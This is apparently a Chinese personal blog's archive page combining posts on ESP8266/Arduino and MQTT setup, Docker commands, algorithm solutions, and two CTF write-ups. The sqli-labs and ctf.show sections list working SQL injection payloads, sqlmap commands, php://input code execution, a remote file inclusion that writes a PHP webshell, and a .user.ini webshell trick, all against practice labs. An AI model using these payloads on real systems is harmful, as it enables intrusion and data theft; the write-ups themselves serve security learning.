Category Archives: write up

使用ArduinoIDE烧写ESP8266

包括以下部分:
1、接线
2、烧写Arduino
3、烧写ESP8266

前置工作:将ESP8266的波特率设置为115200

接线
ESP8266的3V3/VCC 接到 3.3V
ESP8266的EN 串联一个10k电阻 接到3.3V
ESP8266的RX 接到 Arduino的RX0
ESP8266的TX 接到 Arduino的TX1
ESP8266的GND 接地
烧写时,ESP8266的GPIO0 接到GND
运行时,GPIO0悬空

烧写Arduino(这一步可能是多余的。。。)
将以下程序按照之前一样的步骤烧写到Arduino中
const int tx = 1;
const int rx = 0;
void setup() {
  pinMode(rx,INPUT_PULLUP);
  pinMode(tx,INPUT_PULLUP);
  Serial.begin(115200);
  Serial.println("Arduino OK");
  delay(1000);
}
void loop() {
}

烧写ESP8266
在ArduinoIDE中安装ESP8266板子,网上已经有很多安装和设置的教程了,不再赘述。
主要记录在烧写过程中出现的问题:
1、烧写前,需要拔出与电脑连接的数据线,并重新插入。
2、插入后按下Arduino板的复位键不松开,点击IDE中的upload,等待直到出现:Hard resetting via RTS pin…字样后,松开复位键。
3、将GPIO0悬空,打开Serial monitor,重新拔插数据线,可以看到ESP8266 OK字样。
4、只有在Arduino处于长按复位键的过程中ESP8266的串口数据才会传到电脑上来。。所以第二步可能是多余的。。。
5、长按Arduino的复位键,可以看到不断有ESP8266 OK字样输出到电脑。
烧写的测试代码如下:
void setup(){
  Serial.begin(115200);
  delay(1000);
}
void loop(){
  Serial.println("ESP8266 OK");
}

如果您有任何其他理解或疑问,请务必按照首页的联系方式联系在下:-)

ArduinoUNO+ESP8266与MQTT服务器通信

全文包括以下几个部分:
1、搭建/配置/测试MQTT服务端
2、Arduino连接WIFI并使用软串口通信
3、在Arduino实现MQTT的PUB客户端
4、总结

搭建/配置/测试MQTT服务端
服务器用的华为学生云,ubuntu系统,感谢华为云orz
114.116.xxx.xxx
apt-add-repository ppa:mosquitto-dev/mosquitto-ppa
apt-get update
apt-get install mosquitto
cd /etc/mosquitto/conf.d
touch myconfig.conf
vim myconfig.conf
allow_anonymous false
password_file /etc/mosquitto/pwfile.txt
port 1883

mosquitto_passwd -c /etc/mosquitto/pwfile.txt [username]
service mosquitto start

调整服务器的安全组,放行来自1883端口的数据
使用python测试服务器和安全组是否正常:
#sub.py
import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, rc):
    print("Connect result:" + str(rc))
    client.subscribe("test_topic")
def on_message(client, userdata, msg):
    print(msg.topic+":" +str(msg.payload))
client = mqtt.Client("admin_sub")
client.username_pw_set("[username]","[password]")
client.on_connect = on_connect
client.on_message = on_message
print("Connectting…")
client.connect("114.116.***.***", 1883, 60)
client.loop_forever()


#pub.py
import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, rc):
    print("Connect result:" + str(rc))
def on_message(client, userdata, msg):
    print(msg.topic + " " + str(msg.payload))
client = mqtt.Client("admin_pub")
client.on_connect = on_connect
client.on_message = on_message
client.connect('114.116.***.***', 1883, 60)
client.publish('test_topic', payload='test_pub_content', qos=0)

可以连接/通讯,如图:

Arduino连接WIFI并使用软串口通信
#include <SoftwareSerial.h>
SoftwareSerial wifiSerial(2, 3);
void setup() {
  Serial.begin(9600);
  wifiSerial.begin(9600);
  while(!Serial);
  while(!wifiSerial);
  wifiSerial.println("AT+CWJAP=\"hausahan\",\"[password]\"");
}
void loop() {
  if(wifiSerial.available()) {
    Serial.write(wifiSerial.read());
  }
  if(Serial.available()){
    wifiSerial.write(Serial.read());
  }
}

在昨天的基础上学习了软串口,原来加一行就可以通信了。。
连接成功了,手机上也可以看到已经连接的设备:

在Arduino实现MQTT的PUB客户端
网上能找到的资料都需要烧写ESP8266,因为怕写坏自己唯一的板子,所以尝试造一次轮子。实现软串口+TCP协议的MQTT客户端,站在别人肩膀上先实现Pub功能。参考:
https://blog.csdn.net/Fredric_2014/article/details/89602457
https://blog.csdn.net/anxianfeng55555/article/details/80908795
最终实现效果及代码:

代码放在了CSDN:https://blog.csdn.net/qq_42851946/article/details/112915356

总结
还是有很多让人疑惑的问题的,比如:
ESP8266很多指令执行后必须等几秒才能进行下一步操作。
也有收获:
每次编程后使用AT+RST进行重置并在烧写完成后复位Arduino能解决很多奇怪的问题。
更理解通信协议、wireshark的使用、、、等知识了
下一步:
考虑多买几块8266,学习对直接使用8266的方法,因为看起来好像很方便,并实现一个远程控制LED的Deeeeeemo
🙂

ArduinoUNO连接ESP8266

折腾了两个小时,网上信息很杂,在这里记录正确的方法,如有问题欢迎通过首页的联系方式来交流。

分为以下四部分:
1:接线
2:测试程序
3:AT指令验证
4:使用软串口

接线
需要各种线+10k电阻*1
ESP8266的3V3/VCC 接到 3.3V
ESP8266的EN            串联一个10k电阻  接到3.3V
ESP8266的RX            接到 Arduino的RX0
ESP8266的TX            接到 Arduino的TX1
ESP8266的GND       接地

测试程序
const int tx = 1;
const int rx = 0;
void setup() {
  pinMode(rx,INPUT_PULLUP);
  pinMode(tx,INPUT_PULLUP);
}
void loop() {
}

AT指令验证
将Serial Monitor调整为Both NL&CR,115200 baud
输入AT,ESP8266蓝色灯光闪烁,返回OK
输入AT+GMR,返回版本等信息
如下:

至此,可以验证连接成功。
一些其他常用的AT命令:
AT+RST 重置wifi模块
AT+CWLAP 扫AP
AT+CWJAP=”SSID”,”PASSWORD” 连接到AP
AT+CWJAP=””,”” 与所有访问点断开连接
AT+CIFSR 显示获得的IP和MAC
AT+UART=9600,8,1,0,0 修改波特率等
AT+CWMODE= 设置工作模式,可有Station\AP\Station+AP三种

使用软串口
修改ESP8266的波特率为9600
假设将2,3分别作为RX,TX
则将ESP8266的RX与3(Arduino的TX)相连,反之亦如此
代码:
#include <SoftwareSerial.h>
SoftwareSerial mySerial(2, 3);
void setup() {
  Serial.begin(9600);
  mySerial.begin(9600);
  mySerial.println("AT+GMR");
}
void loop() {
  while(mySerial.available()) {
    Serial.write(mySerial.read());
  }
}

之后打开Serial Monitor即可看到AT+GMR的执行结果了,但是不能实时发命令,如下图:

先到这里吧,实时发送命令等会再解决,休息会儿,头有点晕。。。

如果您有问题请务必与我交流,联系方式在首页,感谢感谢!

P1008 三连击

#include <iostream>
#include <cstring>
using namespace std;

int main(){
        int a[10]={0};
        int i,j,k;
        bool flag = true;

        for(int n=123; n<329; n++){
                memset(a,0,sizeof(a));
                flag = true;

                i=n; j=n*2; k=n*3;
                for(;i>0;i/=10)
                        a[i%10] = 1;
                for(;j>0;j/=10)
                        a[j%10] = 1;
                for(;k>0;k/=10)
                        a[k%10] = 1;

                for(int m=1; m<10; m++)
                        if(a[m]==0)
                                flag=false;

                if(flag)
                        cout << n << " " << n*2 << " " << n*3 << endl;
        }

        return 0;
}

P2181 对角线

#include <iostream>
using namespace std;

int main()
{
        unsigned long long n,sum;
        cin >> n;
        sum = n*(n-1)/2*(n-2)/3*(n-3)/4;
        cout << sum << endl;
        return 0;
}

P1004 方格取数

//别人的AC
#include <iostream>
#include <cstring>
using namespace std;

int N;
int Map[10][10];
int dp[10][10][10][10];

int main()
{
        //init
        int x,y,num;
        cin>>N;
        memset(Map,0,sizeof(Map));
        memset(dp,0,sizeof(dp));

        //input
        while(cin>>x>>y>>num,x!=0&&y!=0&&num!=0)
        {Map[x][y]=num;}

        //dp
        for(int i=1;i<=N;i++)
                for(int j=1;j<=N;j++)
                        for(int k=1;k<=N;k++)
                                for(int l=1;l<=N;l++){
                                        dp[i][j][k][l]=max(
                                        max(dp[i-1][j][k-1][l],dp[i-1][j][k][l-1]),
                                        max(dp[i][j-1][k-1][l],dp[i][j-1][k][l-1]))
                                        +Map[i][j]+Map[k][l];
                                        if(i==k&&j==l) dp[i][j][k][l]-=Map[i][j];
                                }

        //output
        cout<<dp[N][N][N][N];
}
//我的20分:-(
#include <iostream>
using namespace std;

//The block
int N,x,y;
int num[11][11]={0};
//Flag of the first search
int flag[11][11]={0};

//Move function
int move(int x, int y){
        //Add self, mark, and move another step
        int sum=num[x][y], sumx, sumy;
        flag[x][y] = 1;
        if(x<N && y<N){
                sumx = move(x+1,y);
                sumy = move(x, y+1);
        }
        else if(x==N && y<N){
                sumx = 0;
                sumy = move(x, y+1);
        }
        else if(x<N && y==N){
                sumx = move(x+1, y);
                sumy = 0;
        }
        else{
                return num[N][N];
        }

        //Add, and mark
        if(sumx>=sumy){
                sum+=sumx;
                flag[x][y+1] = 0;
        }
        else{
                sum+=sumy;
                flag[x+1][y] = 0;
        }
        return sum;
}

void del(){
        for(int i=0; i<N; i++)
                for(int j=0; j<N; j++){
                        if(flag[i][j]==1 && flag[i+1][j]==1 && flag[i][j+1]==0)
                                num[i][j]=0;
                }
}

int main(){
        //Handle input
        cin >> N;
        for(int i=0; ; i++){
                cin >> x >> y ;
                if(x==0) break;
                else cin >> num[x][y];
        }
        //First move
        int sum;
        sum = move(1,1);
        //del num selected
        del();
        //second move
        sum += move(1,1);
        //Output
        cout << sum << endl;
        return 0;
}

dp,阿吧啊吧啊把

THE DOCKER BOOK — James Turnbull

《第一本Docker书》—— 李兆海、刘斌、巨震 译

基本操作:
开启docker守护进程:
sudo service docker start
查看docker程序位置:
whereis docker
检查docker是否就绪:
sudo docker info
运行docker-ubuntu:
sudo docker run -i -t ubuntu /bin/bash
###-i:保证容器中的STDIN开启,-t:为新创建的容器分配一个tty伪终端
###两者保证新创建的容器能提供一个交互式shell

更新apt/安装软件
容器命名
sudo docker run --name hausa_ubuntu -i -t ubuntu /bin/bash
重新启动已经停止的容器
sudo docker start hausa_ubuntu/ID
查看正在运行的容器及基本信息
sudo docker ps (-a包括已停止的)
重新附着到容器
sudo docker attach hausa_ubuntu/ID
创建守护式容器
sudo docker run --name hausa -d ubuntu /bin/bash -c "while true; do echo hello; sleep 1; done"
###此时ps,可以看到正在运行的hausa,如果不执行-c,则容器仍会运行,但不会看到
查看容器内部在干什么
sudo docker logs (-ft监控) hausa
查看容器内的进程
sudo docker top hausa
在容器内部运行进程
sudo docker exec -d hausa touch hausa.txt
sudo docker exec -t -i hausa /bin/sh
停止守护式容器
sudo docker stop hausa
出错导致停止运行时自动重启
sudo docker run --restart=always --name aaaaa -d ubuntu
删除某容器
sudo docker rm hausa
获取详细的容器信息
sudo docker inspect hausa_ubuntu
查看特定的某一项信息
sudo docker inspect --format='{{.State.Running}}' hausa_ubuntu(或-f)
删除所有容器
sudo docker rm [反引号]sudo docker ps -a[反引号]

使用镜像和仓库
列出所有本地镜像
sudo docker images
拉取镜像
sudo docker pull ubuntu
在dockerhub上查找镜像
sudo docker search hello
构建并commit镜像
sudo docker run -i -t ubuntu /bin/bash
apt update
apt install inetutils-ping
apt-get install net-tools
exit
sudo docker commit b73ec63f89cc hausa/ubuntu
commit时可以用-m提供提交信息,也可以用--auther指定作者信息
也可以:为其增加标签
使用Dockerfile构建镜像
mkdir web_ubuntu
cd web_ubuntu
touch Dockerfile
vim Dockerfile
Version: 0.0.1
FROM ubuntu:14.04
MAINTAINER Hausa_ "hausahan@gmail.com"
RUN ["apt-get", "update"]
RUN ["apt-get", "install", "-y", "nginx"]
RUN echo 'Hi, This is a web server' \
> /usr/share/nginx/html/index.html
EXPOSE 80
cd ..
sudo docker build /home/hausa/docker/web_ubuntu/
-t=”hausa/web_ubuntu:0.0.1″
使用–no-cache确保构建过程中不使用缓存
也可以指定一个github地址构建镜像,具体百度
Dockerfile的其他指令见:如何用Dockerfile构建镜像
查看镜像
sudo docker images
从新镜像启动容器
sudo docker run -d -p 80 --name web_ubuntu hausa/web_ubuntu:0.0.1 \
nginx -g "daemon off;"

也可以在80前用:间隔,指定主机的端口来直接绑定
使用sudo docker port web_ubuntu查看端口分配情况,即可通过此端口访问服务

将镜像推送到dockerhub
sudo docker push hausa/web_ubuntu
删除一个不需要再使用的镜像
sudo docker rmi hausa/ubuntu
运行/使用自己的docker registry,见:https://github.com/docker/docker-registry
让Docker容器互连
1: --link
sudo docker run -d -p 80 --name web_ubuntu hausa/web_ubuntu:0.0.1 \
nginx -g "daemon off;"

sudo docker run --name ubuntu --link web_ubuntu:web_server -it ubuntu
在宿主机扫描或进入web机查看,再通过ubuntu机ping,可以ping通

sqli-labs

感谢buuoj的环境,持续更新

1: GET – Error based – Single quotes – String 基于报错 单引号 字符型
sqlmap:
sqlmap -u fb9da23f-1b37-4cb4-a08f-9226fe24a803.node3.buuoj.cn/Less-1/?id=1 -D ctftraining -T flag -C flag --dump
flag{8c8c4c5c-8b05-47e3-995b-1b65b605301c}
手工 :
……/?id=1'报错:''1'' LIMIT 0,1'  输入的数据在一对单引号之间。
……/?id=1' -- -返回正常
……/?id=1' union select 1,2,3,4-- - 报错
……/?id=1' union select 1,2,3-- - 正常 一共有3列
……/?id=-1' union select 1,2,3 -- -
Your Login name:2 Your Password:3 得到回显的位置
……/?id=-1' union select 1,2,concat_ws(char(32,32,32),user(),database(),version()) -- -
root@localhost security 10.2.26-MariaDB-log 用户   库名   版本
……/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata -- -
ctftraining,information_schema,mysql,performance_schema,security,test 所有库名
……/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="ctftraining"-- -
flag,news,users ctftraining库的tables
……/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="flag"-- -
flag 字段名
……/?id=-1′ union select 1,2,group_concat(flag) from ctftraining.flag– –
flag{8c8c4c5c-8b05-47e3-995b-1b65b605301c} 数据

2: GET – Error based – Intiger based 基于报错 整数型
sqlmap:
sqlmap -u 0592fa2c-446a-4fad-95f0-5b438917656a.node3.buuoj.cn/Less-2/?id=1 -D ctftraining -T flag -C flag --dump
手工:
....../?id=1' 报错:'' LIMIT 0,1' 单引号多余,所以去掉
....../?id=1 union select 1,2,3,4 报错
....../?id=1 union select 1,2,3 正常,有三列
用户、库名、版本略
....../?id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata
ctftraining,information_schema,mysql,performance_schema,security,test 所有库名
......
....../?id=0%20 union select 1,2,group_concat(flag) from ctftraining.flag
flag{d7c8d637-cf9f-44d1-a18e-b7a7be25345e}

3: GET – Error based – Single quotes with twist – string 基于报错 单引号 带括号 字符型
sqlmap:
无过滤直接跑
flag{d7c8d637-cf9f-44d1-a18e-b7a7be25345e}
手工:
Less-3/?id=1' 报错:''1'') LIMIT 0,1' 有一个括号,要闭合掉
其余步骤与1一样
Less-3/?id=0') union select 1,2,group_concat(flag) from ctftraining.flag--+
flag{d7c8d637-cf9f-44d1-a18e-b7a7be25345e}

4: GET – Error based – Double Quotes – String 基于报错 双引号 字符型
sqlmap:
无过滤直接跑。启动环境后所有环境的flag一样。就不写flag了。
手工:
Less-4/?id=1' 正常
Less-4/?id=1" 报错:'"1"") LIMIT 0,1' 双引号+括号。
把3的’换成”
Less-4/?id=0") union select 1,2,group_concat(flag) from ctftraining.flag--+

5: GET – Double Injection – Single Quotes – string 二次注入 单引号 字符型
sqlmap:
无过滤
手工:
Less-5/?id=1' union select 1,2,3,4--+ 报错,3个正常
Less-5/?id=-1' union select null,count(*),concat((select * from ctftraining.flag%20 limit 0,1),floor(rand()*2))as a from information_schema.tables group by a--+

6: GET – Double Injection – Double Quotes – string 二次注入 双引号 字符型
把5的’改成”

7: GET – Dump into outfile – String dump 到文件 字符型
sqlmap跑不出来,会有很多问号。
手工:
/Less-1/?id=-1' union select 1,2,group_concat(GLOBAL_VALUE) from information_schema.SYSTEM_VARIABLES-- -
是linux机。
但是无法判断网站的完整目录。
等知道判断办法了再来填坑。
因为请求过快会返回429,对脚本不太友好,所以这里用布尔盲注。
Less-7/?id=1')) and length(user())='14' --+ 用户名14位,就是root@localhost
Less-7/?id=1')) and (select count(schema_name) from information_schema.schemata)=6--+ 一共有6个库
Less-7/?id=1')) and length((select schema_name from information_schema.schemata limit 0,1))=11--+ 第一个库名一共11位
Less-7/?id=1')) and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='c'--+ 第一个库第一个字符为c
/Less-7/?id=1')) and substr((select schema_name from information_schema.schemata limit 0,1),2,1)='t'--+ 第二个字符为t
以此类推……

8: GET – Blind – Boolian Based – Single Quotes 盲注 基于布尔 单引号
sqlmap:
跑不出
手工:
Less-8/?id=1' --+ 返回正常
Less-8/?id=1' union select 1,2,3--+ 返回正常
布尔注就行

9: GET – Blind – Time based. – Single Quotes 盲注 基于时间 单引号
Less-9/?id=1′ and sleep(5)–+
延迟注入

10: GET – Blind – Time based – double quotes 盲注 基于时间 双引号
换成双引号

11—20
POST和http头

21。

ctf.show web

仅payload或简单思路,持续更新

web2
admin' or 1=1#
admin' or 1=1 union select 1,group_concat(flag),3 from web2.flag#

web3
http://bd154800-80c7-4e24-9175-4eb98b4d3584.chall.ctf.show/?url=php://input
POST: <?php system("ls");?>
POST: <?php system("cat ctf_go_go_go");?>

web4
远程文件包含:486f9d64-fe46-4c00-8da3-8a31d154530b.chall.ctf.show/?url=http://hausahan.cn/temp.txt
#temp.txt内容:
<?php
$myfile=fopen('temp.php','w');
$txt = 'mumaneirong';
fwrite($myfile,$txt);
fclose($myfile)
?>

486f9d64-fe46-4c00-8da3-8a31d154530b.chall.ctf.show/temp.php?hausa=cat ./../flag.txt

web5
md5碰撞
62499f30-4ef5-4609-80f0-0e8211a8a225.chall.ctf.show/?v1=QNKCDZO&v2=240610708

web6
admin'/**/union/**/select/**/1,concat(flag),3/**/from/**/flag#

web7
0fcebb43-b8f7-44cb-a460-95f836ed7773.chall.ctf.show/index.php?id=1'/**/union/**/select/**/1,concat(flag),3/**/from/**/flag#

web8
过滤了单引号和逗号
解题脚本:https://github.com/hausa-han/CTFscripts/blob/main/ctfshow-web8.py

web9
POST:password=ffifdyop

web10
username:admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#

web11
删除cookie后空密码登录

web12
禁用了system();
?cmd=print_r(glob("*"));
?cmd=highlight_file("xxxx.php");

web13
传txt马,后传.user.ini,并指定auto_prepend_file为自己的马

web14
/here_1s_your_f1ag.php?query=-1//union//select/**/load_file('/var/www/html/secret.php')
?query=-1//union//select/**/load_file('/real_flag_is_here')

CTFshow web1
www.zip
user_main.php中提供不同的排序显示方法,可逐步猜出flag,可有以下脚本:
https://github.com/hausa-han/CTFscripts/blob/main/CTFshow_web1.py

红包题第二弹
/?cmd=?>/???/?p /???????? p.ppp;?>
/p.ppp

2. 两数相加

/**
 * Definition for singly-linked list.
 * struct ListNode {
 *     int val;
 *     ListNode *next;
 *     ListNode(int x) : val(x), next(NULL) {}
 * };
 */
class Solution {
public:
    ListNode* addTwoNumbers(ListNode* l1, ListNode* l2) {
        //结果列表
                ListNode *head = new ListNode(0);
                ListNode *presult = head;

                //测量两链表长度
                ListNode *p1=l1, *p2=l2;
                long long int l1count=0, l2count=0;
                while(p1->next!=NULL){
                        p1=p1->next;
                        l1count++;
                }
                while(p2->next!=NULL){
                        p2=p2->next;
                        l2count++;
                }
                //使两链表同长
                long long int i = l2count - l1count;
                if(i>=0){
                        while(i>0){
                                i--;
                                p1->next = new ListNode(0);
                                p1 = p1->next;
                        }
                }
                else{
                        i = -1*i;
                        while(i>0){
                                i--;
                                p2->next = new ListNode(0);
                                p2 = p2->next;
                        }
                }

                //相加
                bool flag=false;
                p1=l1; p2=l2;
                int val;
                while(p1!=NULL){
                        val = p1->val + p2->val;
                        if(flag) val++;
                        if(val > 9){
                                val -= 10;
                                flag = true;
                        }
                        else 
                                flag=false;
                        presult->next = new ListNode(val);
                        presult = presult->next;
                        p1=p1->next; p2=p2->next;

                        if(flag)
                                presult->next = new ListNode(1);
                }

                return head->next;
    }
};